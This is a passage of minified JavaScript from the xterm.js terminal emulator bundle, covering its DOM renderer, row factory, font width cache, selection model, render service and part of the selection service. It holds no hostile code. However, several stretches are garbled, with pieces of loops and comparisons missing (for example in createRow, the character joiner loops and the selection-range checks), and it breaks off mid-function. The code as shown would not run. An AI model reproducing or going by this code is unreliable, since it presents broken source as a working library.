r.style.height=s*this.dimensions.css.cell.height+"px",r.style.top=e*this.dimensions.css.cell.height+"px",r.style.left=t*this.dimensions.css.cell.width+"px",r.style.width=this.dimensions.css.cell.width*(i-t)+"px",r}handleCursorMove(){}_handleOptionsChanged(){this._updateDimensions(),this._injectCss(this._themeService.colors),this._widthCache.setFont(this._optionsService.rawOptions.fontFamily,this._optionsService.rawOptions.fontSize,this._optionsService.rawOptions.fontWeight,this._optionsService.rawOptions.fontWeightBold),this._setDefaultSpacing()}clear(){for(const e of this._rowElements)e.replaceChildren()}renderRows(e,t){const i=this._bufferService.buffer,s=i.ybase+i.y,r=Math.min(i.x,this._bufferService.cols-1),n=this._optionsService.rawOptions.cursorBlink,o=this._optionsService.rawOptions.cursorStyle,a=this._optionsService.rawOptions.cursorInactiveStyle;for(let h=e;h<=t;h++){const e=h+i.ydisp,t=this._rowElements[h],c=i.lines.get(e);if(!t||!c)break;t.replaceChildren(...this._rowFactory.createRow(c,e,e===s,o,a,r,n,this.dimensions.css.cell.width,this._widthCache,-1,-1))}}get _terminalSelector(){return`.${f}${this._terminalClass}`}_handleLinkHover(e){this._setCellUnderline(e.x1,e.x2,e.y1,e.y2,e.cols,!0)}_handleLinkLeave(e){this._setCellUnderline(e.x1,e.x2,e.y1,e.y2,e.cols,!1)}_setCellUnderline(e,t,i,s,r,n){i<0&&(e=0),s<0&&(t=0);const o=this._bufferService.rows-1;i=Math.max(Math.min(i,o),0),s=Math.max(Math.min(s,o),0),r=Math.min(r,this._bufferService.cols);const a=this._bufferService.buffer,h=a.ybase+a.y,c=Math.min(a.x,r-1),l=this._optionsService.rawOptions.cursorBlink,d=this._optionsService.rawOptions.cursorStyle,_=this._optionsService.rawOptions.cursorInactiveStyle;for(let o=i;o<=s;++o){const u=o+a.ydisp,f=this._rowElements[o],v=a.lines.get(u);if(!f||!v)break;f.replaceChildren(...this._rowFactory.createRow(v,u,u===h,d,_,c,l,this.dimensions.css.cell.width,this._widthCache,n?o===i?e:0:-1,n?(o===s?t:r)-1:-1))}}};t.DomRenderer=b=s([r(4,u.IInstantiationService),r(5,c.ICharSizeService),r(6,u.IOptionsService),r(7,u.IBufferService),r(8,c.ICoreBrowserService),r(9,c.IThemeService)],b)},3787:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.DomRendererRowFactory=void 0;const n=i(2223),o=i(643),a=i(511),h=i(2585),c=i(8055),l=i(4725),d=i(4269),_=i(6171),u=i(3734);let f=t.DomRendererRowFactory=class{constructor(e,t,i,s,r,n,o){this._document=e,this._characterJoinerService=t,this._optionsService=i,this._coreBrowserService=s,this._coreService=r,this._decorationService=n,this._themeService=o,this._workCell=new a.CellData,this._columnSelectMode=!1,this.defaultSpacing=0}handleSelectionChanged(e,t,i){this._selectionStart=e,this._selectionEnd=t,this._columnSelectMode=i}createRow(e,t,i,s,r,a,h,l,_,f,p){const g=[],m=this._characterJoinerService.getJoinedCharacters(t),S=this._themeService.colors;let C,b=e.getNoBgTrimmedLength();i&&b0&&M===m[0][0]){O=!0;const t=m.shift();I=new d.JoinedCellData(this._workCell,e.translateToString(!0,t[0],t[1]),t[1]-t[0]),P=t[1]-1,b=I.getWidth()}const H=this._isCellInSelection(M,t),F=i&&M===a,W=T&&M>=f&&M<=p;let U=!1;this._decorationService.forEachDecorationAtCell(M,t,void 0,(e=>{U=!0}));let N=I.getChars()||o.WHITESPACE_CELL_CHAR;if(" "===N&&(I.isUnderline()||I.isOverline())&&(N=" "),A=b*l-_.get(N,I.isBold(),I.isItalic()),C){if(y&&(H&&x||!H&&!x&&I.bg===E)&&(H&&x&&S.selectionForeground||I.fg===k)&&I.extended.ext===L&&W===D&&A===R&&!F&&!O&&!U){w+=N,y++;continue}y&&(C.textContent=w),C=this._document.createElement("span"),y=0,w=""}else C=this._document.createElement("span");if(E=I.bg,k=I.fg,L=I.extended.ext,D=W,R=A,x=H,O&&a>=M&&a<=P&&(a=M),!this._coreService.isCursorHidden&&F)if(B.push("xterm-cursor"),this._coreBrowserService.isFocused)h&&B.push("xterm-cursor-blink"),B.push("bar"===s?"xterm-cursor-bar":"underline"===s?"xterm-cursor-underline":"xterm-cursor-block");else if(r)switch(r){case"outline":B.push("xterm-cursor-outline");break;case"block":B.push("xterm-cursor-block");break;case"bar":B.push("xterm-cursor-bar");break;case"underline":B.push("xterm-cursor-underline")}if(I.isBold()&&B.push("xterm-bold"),I.isItalic()&&B.push("xterm-italic"),I.isDim()&&B.push("xterm-dim"),w=I.isInvisible()?o.WHITESPACE_CELL_CHAR:I.getChars()||o.WHITESPACE_CELL_CHAR,I.isUnderline()&&(B.push(`xterm-underline-${I.extended.underlineStyle}`)," "===w&&(w=" "),!I.isUnderlineColorDefault()))if(I.isUnderlineColorRGB())C.style.textDecorationColor=`rgb(${u.AttributeData.toColorRGB(I.getUnderlineColor()).join(",")})`;else{let e=I.getUnderlineColor();this._optionsService.rawOptions.drawBoldTextInBrightColors&&I.isBold()&&e<8&&(e+=8),C.style.textDecorationColor=S.ansi[e].css}I.isOverline()&&(B.push("xterm-overline")," "===w&&(w=" ")),I.isStrikethrough()&&B.push("xterm-strikethrough"),W&&(C.style.textDecoration="underline");let $=I.getFgColor(),j=I.getFgColorMode(),z=I.getBgColor(),K=I.getBgColorMode();const q=!!I.isInverse();if(q){const e=$;$=z,z=e;const t=j;j=K,K=t}let V,G,X,J=!1;switch(this._decorationService.forEachDecorationAtCell(M,t,void 0,(e=>{"top"!==e.options.layer&&J||(e.backgroundColorRGB&&(K=50331648,z=e.backgroundColorRGB.rgba>>8&16777215,V=e.backgroundColorRGB),e.foregroundColorRGB&&(j=50331648,$=e.foregroundColorRGB.rgba>>8&16777215,G=e.foregroundColorRGB),J="top"===e.options.layer)})),!J&&H&&(V=this._coreBrowserService.isFocused?S.selectionBackgroundOpaque:S.selectionInactiveBackgroundOpaque,z=V.rgba>>8&16777215,K=50331648,J=!0,S.selectionForeground&&(j=50331648,$=S.selectionForeground.rgba>>8&16777215,G=S.selectionForeground)),J&&B.push("xterm-decoration-top"),K){case 16777216:case 33554432:X=S.ansi[z],B.push(`xterm-bg-${z}`);break;case 50331648:X=c.rgba.toColor(z>>16,z>>8&255,255&z),this._addStyle(C,`background-color:#${v((z>>>0).toString(16),"0",6)}`);break;default:q?(X=S.foreground,B.push(`xterm-bg-${n.INVERTED_DEFAULT_COLOR}`)):X=S.background}switch(V||I.isDim()&&(V=c.color.multiplyOpacity(X,.5)),j){case 16777216:case 33554432:I.isBold()&&$<8&&this._optionsService.rawOptions.drawBoldTextInBrightColors&&($+=8),this._applyMinimumContrast(C,X,S.ansi[$],I,V,void 0)||B.push(`xterm-fg-${$}`);break;case 50331648:const e=c.rgba.toColor($>>16&255,$>>8&255,255&$);this._applyMinimumContrast(C,X,e,I,V,G)||this._addStyle(C,`color:#${v($.toString(16),"0",6)}`);break;default:this._applyMinimumContrast(C,X,S.foreground,I,V,void 0)||q&&B.push(`xterm-fg-${n.INVERTED_DEFAULT_COLOR}`)}B.length&&(C.className=B.join(" "),B.length=0),F||O||U?C.textContent=w:y++,A!==this.defaultSpacing&&(C.style.letterSpacing=`${A}px`),g.push(C),M=P}return C&&y&&(C.textContent=w),g}_applyMinimumContrast(e,t,i,s,r,n){if(1===this._optionsService.rawOptions.minimumContrastRatio||(0,_.excludeFromContrastRatioDemands)(s.getCode()))return!1;const o=this._getContrastCache(s);let a;if(r||n||(a=o.getColor(t.rgba,i.rgba)),void 0===a){const e=this._optionsService.rawOptions.minimumContrastRatio/(s.isDim()?2:1);a=c.color.ensureContrastRatio(r||t,n||i,e),o.setColor((r||t).rgba,(n||i).rgba,null!=a?a:null)}return!!a&&(this._addStyle(e,`color:${a.css}`),!0)}_getContrastCache(e){return e.isDim()?this._themeService.colors.halfContrastCache:this._themeService.colors.contrastCache}_addStyle(e,t){e.setAttribute("style",`${e.getAttribute("style")||""}${t};`)}_isCellInSelection(e,t){const i=this._selectionStart,s=this._selectionEnd;return!(!i||!s)&&(this._columnSelectMode?i[0]<=s[0]?e>=i[0]&&t>=i[1]&&e=i[1]&&e>=s[0]&&t<=s[1]:t>i[1]&&t=i[0]&&e=i[0])}};function v(e,t,i){for(;e.length{Object.defineProperty(t,"__esModule",{value:!0}),t.WidthCache=void 0,t.WidthCache=class{constructor(e){this._flat=new Float32Array(256),this._font="",this._fontSize=0,this._weight="normal",this._weightBold="bold",this._measureElements=[],this._container=e.createElement("div"),this._container.style.position="absolute",this._container.style.top="-50000px",this._container.style.width="50000px",this._container.style.whiteSpace="pre",this._container.style.fontKerning="none";const t=e.createElement("span"),i=e.createElement("span");i.style.fontWeight="bold";const s=e.createElement("span");s.style.fontStyle="italic";const r=e.createElement("span");r.style.fontWeight="bold",r.style.fontStyle="italic",this._measureElements=[t,i,s,r],this._container.appendChild(t),this._container.appendChild(i),this._container.appendChild(s),this._container.appendChild(r),e.body.appendChild(this._container),this.clear()}dispose(){this._container.remove(),this._measureElements.length=0,this._holey=void 0}clear(){this._flat.fill(-9999),this._holey=new Map}setFont(e,t,i,s){e===this._font&&t===this._fontSize&&i===this._weight&&s===this._weightBold||(this._font=e,this._fontSize=t,this._weight=i,this._weightBold=s,this._container.style.fontFamily=this._font,this._container.style.fontSize=`${this._fontSize}px`,this._measureElements[0].style.fontWeight=`${i}`,this._measureElements[1].style.fontWeight=`${s}`,this._measureElements[2].style.fontWeight=`${i}`,this._measureElements[3].style.fontWeight=`${s}`,this.clear())}get(e,t,i){let s=0;if(!t&&!i&&1===e.length&&(s=e.charCodeAt(0))<256)return-9999!==this._flat[s]?this._flat[s]:this._flat[s]=this._measure(e,0);let r=e;t&&(r+="B"),i&&(r+="I");let n=this._holey.get(r);if(void 0===n){let s=0;t&&(s|=1),i&&(s|=2),n=this._measure(e,s),this._holey.set(r,n)}return n}_measure(e,t){const i=this._measureElements[t];return i.textContent=e.repeat(32),i.offsetWidth/32}}},2223:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.TEXT_BASELINE=t.DIM_OPACITY=t.INVERTED_DEFAULT_COLOR=void 0;const s=i(6114);t.INVERTED_DEFAULT_COLOR=257,t.DIM_OPACITY=.5,t.TEXT_BASELINE=s.isFirefox||s.isLegacyEdge?"bottom":"ideographic"},6171:(e,t)=>{function i(e){return 57508<=e&&e<=57558}Object.defineProperty(t,"__esModule",{value:!0}),t.createRenderDimensions=t.excludeFromContrastRatioDemands=t.isRestrictedPowerlineGlyph=t.isPowerlineGlyph=t.throwIfFalsy=void 0,t.throwIfFalsy=function(e){if(!e)throw new Error("value must not be falsy");return e},t.isPowerlineGlyph=i,t.isRestrictedPowerlineGlyph=function(e){return 57520<=e&&e<=57527},t.excludeFromContrastRatioDemands=function(e){return i(e)||function(e){return 9472<=e&&e<=9631}(e)},t.createRenderDimensions=function(){return{css:{canvas:{width:0,height:0},cell:{width:0,height:0}},device:{canvas:{width:0,height:0},cell:{width:0,height:0},char:{width:0,height:0,left:0,top:0}}}}},456:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.SelectionModel=void 0,t.SelectionModel=class{constructor(e){this._bufferService=e,this.isSelectAllActive=!1,this.selectionStartLength=0}clearSelection(){this.selectionStart=void 0,this.selectionEnd=void 0,this.isSelectAllActive=!1,this.selectionStartLength=0}get finalSelectionStart(){return this.isSelectAllActive?[0,0]:this.selectionEnd&&this.selectionStart&&this.areSelectionValuesReversed()?this.selectionEnd:this.selectionStart}get finalSelectionEnd(){if(this.isSelectAllActive)return[this._bufferService.cols,this._bufferService.buffer.ybase+this._bufferService.rows-1];if(this.selectionStart){if(!this.selectionEnd||this.areSelectionValuesReversed()){const e=this.selectionStart[0]+this.selectionStartLength;return e>this._bufferService.cols?e%this._bufferService.cols==0?[this._bufferService.cols,this.selectionStart[1]+Math.floor(e/this._bufferService.cols)-1]:[e%this._bufferService.cols,this.selectionStart[1]+Math.floor(e/this._bufferService.cols)]:[e,this.selectionStart[1]]}if(this.selectionStartLength&&this.selectionEnd[1]===this.selectionStart[1]){const e=this.selectionStart[0]+this.selectionStartLength;return e>this._bufferService.cols?[e%this._bufferService.cols,this.selectionStart[1]+Math.floor(e/this._bufferService.cols)]:[Math.max(e,this.selectionEnd[0]),this.selectionEnd[1]]}return this.selectionEnd}}areSelectionValuesReversed(){const e=this.selectionStart,t=this.selectionEnd;return!(!e||!t)&&(e[1]>t[1]||e[1]===t[1]&&e[0]>t[0])}handleTrim(e){return this.selectionStart&&(this.selectionStart[1]-=e),this.selectionEnd&&(this.selectionEnd[1]-=e),this.selectionEnd&&this.selectionEnd[1]<0?(this.clearSelection(),!0):(this.selectionStart&&this.selectionStart[1]<0&&(this.selectionStart[1]=0),!1)}}},428:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.CharSizeService=void 0;const n=i(2585),o=i(8460),a=i(844);let h=t.CharSizeService=class extends a.Disposable{get hasValidSize(){return this.width>0&&this.height>0}constructor(e,t,i){super(),this._optionsService=i,this.width=0,this.height=0,this._onCharSizeChange=this.register(new o.EventEmitter),this.onCharSizeChange=this._onCharSizeChange.event,this._measureStrategy=new c(e,t,this._optionsService),this.register(this._optionsService.onMultipleOptionChange(["fontFamily","fontSize"],(()=>this.measure())))}measure(){const e=this._measureStrategy.measure();e.width===this.width&&e.height===this.height||(this.width=e.width,this.height=e.height,this._onCharSizeChange.fire())}};t.CharSizeService=h=s([r(2,n.IOptionsService)],h);class c{constructor(e,t,i){this._document=e,this._parentElement=t,this._optionsService=i,this._result={width:0,height:0},this._measureElement=this._document.createElement("span"),this._measureElement.classList.add("xterm-char-measure-element"),this._measureElement.textContent="W".repeat(32),this._measureElement.setAttribute("aria-hidden","true"),this._measureElement.style.whiteSpace="pre",this._measureElement.style.fontKerning="none",this._parentElement.appendChild(this._measureElement)}measure(){this._measureElement.style.fontFamily=this._optionsService.rawOptions.fontFamily,this._measureElement.style.fontSize=`${this._optionsService.rawOptions.fontSize}px`;const e={height:Number(this._measureElement.offsetHeight),width:Number(this._measureElement.offsetWidth)};return 0!==e.width&&0!==e.height&&(this._result.width=e.width/32,this._result.height=Math.ceil(e.height)),this._result}}},4269:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.CharacterJoinerService=t.JoinedCellData=void 0;const n=i(3734),o=i(643),a=i(511),h=i(2585);class c extends n.AttributeData{constructor(e,t,i){super(),this.content=0,this.combinedData="",this.fg=e.fg,this.bg=e.bg,this.combinedData=t,this._width=i}isCombined(){return 2097152}getWidth(){return this._width}getChars(){return this.combinedData}getCode(){return 2097151}setFromCharData(e){throw new Error("not implemented")}getAsCharData(){return[this.fg,this.getChars(),this.getWidth(),this.getCode()]}}t.JoinedCellData=c;let l=t.CharacterJoinerService=class e{constructor(e){this._bufferService=e,this._characterJoiners=[],this._nextCharacterJoinerId=0,this._workCell=new a.CellData}register(e){const t={id:this._nextCharacterJoinerId++,handler:e};return this._characterJoiners.push(t),t.id}deregister(e){for(let t=0;t1){const e=this._getJoinedRanges(s,a,n,t,r);for(let t=0;t1){const e=this._getJoinedRanges(s,a,n,t,r);for(let t=0;t{Object.defineProperty(t,"__esModule",{value:!0}),t.CoreBrowserService=void 0,t.CoreBrowserService=class{constructor(e,t){this._textarea=e,this.window=t,this._isFocused=!1,this._cachedIsFocused=void 0,this._textarea.addEventListener("focus",(()=>this._isFocused=!0)),this._textarea.addEventListener("blur",(()=>this._isFocused=!1))}get dpr(){return this.window.devicePixelRatio}get isFocused(){return void 0===this._cachedIsFocused&&(this._cachedIsFocused=this._isFocused&&this._textarea.ownerDocument.hasFocus(),queueMicrotask((()=>this._cachedIsFocused=void 0))),this._cachedIsFocused}}},8934:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.MouseService=void 0;const n=i(4725),o=i(9806);let a=t.MouseService=class{constructor(e,t){this._renderService=e,this._charSizeService=t}getCoords(e,t,i,s,r){return(0,o.getCoords)(window,e,t,i,s,this._charSizeService.hasValidSize,this._renderService.dimensions.css.cell.width,this._renderService.dimensions.css.cell.height,r)}getMouseReportCoords(e,t){const i=(0,o.getCoordsRelativeToElement)(window,e,t);if(this._charSizeService.hasValidSize)return i[0]=Math.min(Math.max(i[0],0),this._renderService.dimensions.css.canvas.width-1),i[1]=Math.min(Math.max(i[1],0),this._renderService.dimensions.css.canvas.height-1),{col:Math.floor(i[0]/this._renderService.dimensions.css.cell.width),row:Math.floor(i[1]/this._renderService.dimensions.css.cell.height),x:Math.floor(i[0]),y:Math.floor(i[1])}}};t.MouseService=a=s([r(0,n.IRenderService),r(1,n.ICharSizeService)],a)},3230:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.RenderService=void 0;const n=i(3656),o=i(6193),a=i(5596),h=i(4725),c=i(8460),l=i(844),d=i(7226),_=i(2585);let u=t.RenderService=class extends l.Disposable{get dimensions(){return this._renderer.value.dimensions}constructor(e,t,i,s,r,h,_,u){if(super(),this._rowCount=e,this._charSizeService=s,this._renderer=this.register(new l.MutableDisposable),this._pausedResizeTask=new d.DebouncedIdleTask,this._isPaused=!1,this._needsFullRefresh=!1,this._isNextRenderRedrawOnly=!0,this._needsSelectionRefresh=!1,this._canvasWidth=0,this._canvasHeight=0,this._selectionState={start:void 0,end:void 0,columnSelectMode:!1},this._onDimensionsChange=this.register(new c.EventEmitter),this.onDimensionsChange=this._onDimensionsChange.event,this._onRenderedViewportChange=this.register(new c.EventEmitter),this.onRenderedViewportChange=this._onRenderedViewportChange.event,this._onRender=this.register(new c.EventEmitter),this.onRender=this._onRender.event,this._onRefreshRequest=this.register(new c.EventEmitter),this.onRefreshRequest=this._onRefreshRequest.event,this._renderDebouncer=new o.RenderDebouncer(_.window,((e,t)=>this._renderRows(e,t))),this.register(this._renderDebouncer),this._screenDprMonitor=new a.ScreenDprMonitor(_.window),this._screenDprMonitor.setListener((()=>this.handleDevicePixelRatioChange())),this.register(this._screenDprMonitor),this.register(h.onResize((()=>this._fullRefresh()))),this.register(h.buffers.onBufferActivate((()=>{var e;return null===(e=this._renderer.value)||void 0===e?void 0:e.clear()}))),this.register(i.onOptionChange((()=>this._handleOptionsChanged()))),this.register(this._charSizeService.onCharSizeChange((()=>this.handleCharSizeChanged()))),this.register(r.onDecorationRegistered((()=>this._fullRefresh()))),this.register(r.onDecorationRemoved((()=>this._fullRefresh()))),this.register(i.onMultipleOptionChange(["customGlyphs","drawBoldTextInBrightColors","letterSpacing","lineHeight","fontFamily","fontSize","fontWeight","fontWeightBold","minimumContrastRatio"],(()=>{this.clear(),this.handleResize(h.cols,h.rows),this._fullRefresh()}))),this.register(i.onMultipleOptionChange(["cursorBlink","cursorStyle"],(()=>this.refreshRows(h.buffer.y,h.buffer.y,!0)))),this.register((0,n.addDisposableDomListener)(_.window,"resize",(()=>this.handleDevicePixelRatioChange()))),this.register(u.onChangeColors((()=>this._fullRefresh()))),"IntersectionObserver"in _.window){const e=new _.window.IntersectionObserver((e=>this._handleIntersectionChange(e[e.length-1])),{threshold:0});e.observe(t),this.register({dispose:()=>e.disconnect()})}}_handleIntersectionChange(e){this._isPaused=void 0===e.isIntersecting?0===e.intersectionRatio:!e.isIntersecting,this._isPaused||this._charSizeService.hasValidSize||this._charSizeService.measure(),!this._isPaused&&this._needsFullRefresh&&(this._pausedResizeTask.flush(),this.refreshRows(0,this._rowCount-1),this._needsFullRefresh=!1)}refreshRows(e,t,i=!1){this._isPaused?this._needsFullRefresh=!0:(i||(this._isNextRenderRedrawOnly=!1),this._renderDebouncer.refresh(e,t,this._rowCount))}_renderRows(e,t){this._renderer.value&&(e=Math.min(e,this._rowCount-1),t=Math.min(t,this._rowCount-1),this._renderer.value.renderRows(e,t),this._needsSelectionRefresh&&(this._renderer.value.handleSelectionChanged(this._selectionState.start,this._selectionState.end,this._selectionState.columnSelectMode),this._needsSelectionRefresh=!1),this._isNextRenderRedrawOnly||this._onRenderedViewportChange.fire({start:e,end:t}),this._onRender.fire({start:e,end:t}),this._isNextRenderRedrawOnly=!0)}resize(e,t){this._rowCount=t,this._fireOnCanvasResize()}_handleOptionsChanged(){this._renderer.value&&(this.refreshRows(0,this._rowCount-1),this._fireOnCanvasResize())}_fireOnCanvasResize(){this._renderer.value&&(this._renderer.value.dimensions.css.canvas.width===this._canvasWidth&&this._renderer.value.dimensions.css.canvas.height===this._canvasHeight||this._onDimensionsChange.fire(this._renderer.value.dimensions))}hasRenderer(){return!!this._renderer.value}setRenderer(e){this._renderer.value=e,this._renderer.value.onRequestRedraw((e=>this.refreshRows(e.start,e.end,!0))),this._needsSelectionRefresh=!0,this._fullRefresh()}addRefreshCallback(e){return this._renderDebouncer.addRefreshCallback(e)}_fullRefresh(){this._isPaused?this._needsFullRefresh=!0:this.refreshRows(0,this._rowCount-1)}clearTextureAtlas(){var e,t;this._renderer.value&&(null===(t=(e=this._renderer.value).clearTextureAtlas)||void 0===t||t.call(e),this._fullRefresh())}handleDevicePixelRatioChange(){this._charSizeService.measure(),this._renderer.value&&(this._renderer.value.handleDevicePixelRatioChange(),this.refreshRows(0,this._rowCount-1))}handleResize(e,t){this._renderer.value&&(this._isPaused?this._pausedResizeTask.set((()=>this._renderer.value.handleResize(e,t))):this._renderer.value.handleResize(e,t),this._fullRefresh())}handleCharSizeChanged(){var e;null===(e=this._renderer.value)||void 0===e||e.handleCharSizeChanged()}handleBlur(){var e;null===(e=this._renderer.value)||void 0===e||e.handleBlur()}handleFocus(){var e;null===(e=this._renderer.value)||void 0===e||e.handleFocus()}handleSelectionChanged(e,t,i){var s;this._selectionState.start=e,this._selectionState.end=t,this._selectionState.columnSelectMode=i,null===(s=this._renderer.value)||void 0===s||s.handleSelectionChanged(e,t,i)}handleCursorMove(){var e;null===(e=this._renderer.value)||void 0===e||e.handleCursorMove()}clear(){var e;null===(e=this._renderer.value)||void 0===e||e.clear()}};t.RenderService=u=s([r(2,_.IOptionsService),r(3,h.ICharSizeService),r(4,_.IDecorationService),r(5,_.IBufferService),r(6,h.ICoreBrowserService),r(7,h.IThemeService)],u)},9312:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.SelectionService=void 0;const n=i(9806),o=i(9504),a=i(456),h=i(4725),c=i(8460),l=i(844),d=i(6114),_=i(4841),u=i(511),f=i(2585),v=String.fromCharCode(160),p=new RegExp(v,"g");let g=t.SelectionService=class extends l.Disposable{constructor(e,t,i,s,r,n,o,h,d){super(),this._element=e,this._screenElement=t,this._linkifier=i,this._bufferService=s,this._coreService=r,this._mouseService=n,this._optionsService=o,this._renderService=h,this._coreBrowserService=d,this._dragScrollAmount=0,this._enabled=!0,this._workCell=new u.CellData,this._mouseDownTimeStamp=0,this._oldHasSelection=!1,this._oldSelectionStart=void 0,this._oldSelectionEnd=void 0,this._onLinuxMouseSelection=this.register(new c.EventEmitter),this.onLinuxMouseSelection=this._onLinuxMouseSelection.event,this._onRedrawRequest=this.register(new c.EventEmitter),this.onRequestRedraw=this._onRedrawRequest.event,this._onSelectionChange=this.register(new c.EventEmitter),this.onSelectionChange=this._onSelectionChange.event,this._onRequestScrollLines=this.register(new c.EventEmitter),this.onRequestScrollLines=this._onRequestScrollLines.event,this._mouseMoveListener=e=>this._handleMouseMove(e),this._mouseUpListener=e=>this._handleMouseUp(e),this._coreService.onUserInput((()=>{this.hasSelection&&this.clearSelection()})),this._trimListener=this._bufferService.buffer.lines.onTrim((e=>this._handleTrim(e))),this.register(this._bufferService.buffers.onBufferActivate((e=>this._handleBufferActivate(e)))),this.enable(),this._model=new a.SelectionModel(this._bufferService),this._activeSelectionMode=0,this.register((0,l.toDisposable)((()=>{this._removeMouseDownListeners()})))}reset(){this.clearSelection()}disable(){this.clearSelection(),this._enabled=!1}enable(){this._enabled=!0}get selectionStart(){return this._model.finalSelectionStart}get selectionEnd(){return this._model.finalSelectionEnd}get hasSelection(){const e=this._model.finalSelectionStart,t=this._model.finalSelectionEnd;return!(!e||!t||e[0]===t[0]&&e[1]===t[1])}get selectionText(){const e=this._model.finalSelectionStart,t=this._model.finalSelectionEnd;if(!e||!t)return"";const i=this._bufferService.buffer,s=[];if(3===this._activeSelectionMode){if(e[0]===t[0])return"";const r=e[0]e.replace(p," "))).join(d.isWindows?"\r\n":"\n")}clearSelection(){this._model.clearSelection(),this._removeMouseDownListeners(),this.refresh(),this._onSelectionChange.fire()}refresh(e){this._refreshAnimationFrame||(this._refreshAnimationFrame=this._coreBrowserService.window.requestAnimationFrame((()=>this._refresh()))),d.isLinux&&e&&this.selectionText.length&&this._onLinuxMouseSelection.fire(this.selectionText)}_refresh(){this._refreshAnimationFrame=void 0,this._onRedrawRequest.fire({start:this._model.finalSelectionStart,end:this._model.finalSelectionEnd,columnSelectMode:3===this._activeSelectionMode})}_isClickInSelection(e){const t=this._getMouseBufferCoords(e),i=this._model.finalSelectionStart,s=this._model.finalSelectionEnd;return!!(i&&s&&t)&&this._areCoordsInSelection(t,i,s)}isCellInSelection(e,t){const i=this._model.finalSelectionStart,s=this._model.finalSelectionEnd;return!(!i||!s)&&this._areCoordsInSelection([e,t],i,s)}_areCoordsInSelection(e,t,i){return e[1]>t[1]&&e[1]=t[0]&&e[0]=t[0]}_selectWordAtCursor(e,t){var i,s;const r=null===(s=null===(i=this._linkifier.currentLink)||void 0===i?void 0:i.link)||void 0===s?void 0:s.range;if(r)return this._model.selectionStart=[r.start.x-1,r.start.y-1],this._model.selectionStartLength=(0,_.getRangeLength)(r,this._bufferService.cols),this._model.selectionEnd=void 0,!0;const n=this._getMouseBufferCoords(e);return!!n&&(this._selectWordAt(n,t),this._model.selectionEnd=void 0,!0)}selectAll(){this._model.isSelectAllActive=!0,this.refresh(),this._onSelectionChange.fire()}selectLines(e,t){this._model.clearSelection(),e=Math.max(e,0),t=Math.min(t,this._bufferService.buffer.lines.length-1),this._model.selectionStart=[0,e],this._model.selectionEnd=[this._bufferService.cols,t],this.refresh(),this._onSelectionChange.fire()}_handleTrim(e){this._model.handleTrim(e)&&this.refresh()}_getMouseBufferCoords(e){const t=this._mouseService.getCoords(e,this._screenElement,this._bufferService.cols,this._bufferService.rows,!0);if(t)return t[0]--,t[1]--,t[1]+=this._bufferService.buffer.ydisp,t}_getMouseEventScrollAmount(e){let t=(0,n.getCoordsRelativeToElement)(this._coreBrowserService.window,e,this._screenElement)[1];const i=this._renderService.dimensions.css.canvas.height;return t>=0&&t<=i?0:(t>i&&(t-=i),t=Math.min(Math.max(t,-50),50),t/=50,t/Math.abs(t)+Math.round(14*t))}shouldForceSelection(e){return 